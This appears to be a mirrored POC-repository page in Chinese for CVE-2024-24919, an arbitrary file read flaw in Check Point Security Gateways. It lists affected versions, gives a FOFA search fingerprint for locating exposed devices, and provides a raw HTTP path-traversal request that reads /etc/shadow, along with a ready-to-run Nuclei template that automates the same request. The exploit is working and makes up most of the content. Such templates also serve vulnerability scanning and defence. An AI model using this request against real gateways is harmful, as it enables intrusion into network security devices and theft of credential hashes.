mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 05:54:14 +00:00
88 lines
2.4 KiB
Markdown
88 lines
2.4 KiB
Markdown
## Check-Point安全网关任意文件读取漏洞(CVE-2024-24919)
|
||
|
||
Check Point Security Gateways 是 Check Point Software 提供的一系列网络安全解决方案。这些解决方案包括下一代防火墙（NGFW）、数据中心安全网关和 AI 驱动的量子网关，旨在为企业提供针对复杂网络威胁的先进防护。它们通过集成的威胁防护、统一的安全管理和策略控制，确保网络、云、移动和端点的安全。
|
||
|
||
## fofa
|
||
|
||
```
|
||
icon_hash="1440532452"
|
||
```
|
||
|
||
## 影响版本
|
||
|
||
```
|
||
Check Point Security Gateways R77.20 (EOL)
|
||
Check Point Security Gateways R77.30 (EOL)
|
||
Check Point Security Gateways R80.10 (EOL)
|
||
Check Point Security Gateways R80.20 (EOL)
|
||
Check Point Security Gateways R80.20.x
|
||
Check Point Security Gateways R80.20SP (EOL)
|
||
Check Point Security Gateways R80.30 (EOL)
|
||
Check Point Security Gateways R80.30SP (EOL)
|
||
Check Point Security Gateways R80.40 (EOL)
|
||
Check Point Security Gateways R81
|
||
Check Point Security Gateways R81.10
|
||
Check Point Security Gateways R81.10.x
|
||
Check Point Security Gateways R81.20
|
||
```
|
||
|
||
## poc
|
||
|
||
```
|
||
POST /clients/MyCRL HTTP/1.1
|
||
Host: ip
|
||
Content-Length: 39
|
||
|
||
aCSHELL/../../../../../../../etc/shadow
|
||
```
|
||
|
||
|
||
|
||
|
||
|
||
## poc yaml
|
||
|
||
```
|
||
id: CVE-2024-24919
|
||
|
||
info:
|
||
name: Check Point Quantum Gateway - Information Disclosure
|
||
author: johnk3r
|
||
severity: high
|
||
description: |
|
||
CVE-2024-24919 is an information disclosure vulnerability that can allow an attacker to access certain information on internet-connected Gateways which have been configured with IPSec VPN, remote access VPN or mobile access software blade.
|
||
reference:
|
||
- https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
|
||
- https://support.checkpoint.com/results/sk/sk182337
|
||
metadata:
|
||
max-request: 1
|
||
vendor: checkpoint
|
||
product: quantum_security_gateway
|
||
cpe: cpe:2.3:h:checkpoint:quantum_security_gateway:*:*:*:*:*:*:*:*
|
||
shodan-query: html:"Check Point SSL Network"
|
||
verified: true
|
||
tags: cve,cve2024,checkpoint,lfi
|
||
|
||
http:
|
||
- raw:
|
||
- |
|
||
POST /clients/MyCRL HTTP/1.1
|
||
Host: {{Hostname}}
|
||
|
||
aCSHELL/../../../../../../../etc/shadow
|
||
|
||
matchers-condition: and
|
||
matchers:
|
||
- type: regex
|
||
part: body
|
||
regex:
|
||
- "root:"
|
||
- "nobody:"
|
||
condition: and
|
||
|
||
- type: status
|
||
status:
|
||
- 200
|
||
```
|
||
|